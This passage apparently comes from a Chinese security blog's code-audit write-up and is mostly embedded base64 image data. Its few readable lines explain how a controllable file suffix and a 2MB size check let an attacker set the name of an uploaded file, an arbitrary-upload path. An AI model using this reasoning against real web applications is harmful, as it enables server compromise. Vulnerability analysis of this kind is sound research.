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 truncated
|
||||
<p>再看<code>checkFileSize</code>的情况,随便找一个调用这个的函数看一下,首先是需要<code>checkFileSize</code>进入else的处理,需要传入的文件小于<code>$uploadFileSize</code>,<code>$uploadFileSize = 2097152;</code>大概是<code>2MB</code>。</p>
|
||||
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181047-53e4a10a-c66a-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181050-55cf1d4c-c66a-1.png><img src=data:image/png;base64,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 truncated
|
||||
<blockquote><p>这里的<code>suffix</code>是传参可控的,所以文件名是可被控制的,剩下要满足的条件就是在基础配置<code>baseFlag</code>的时候需要是被定义的,在执行<code>checkFileSize</code>前不被终止返回。</p>
|
||||
</blockquote>
|
||||
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181054-586d7d8c-c66a-1.png><img src="data:image/png;base64,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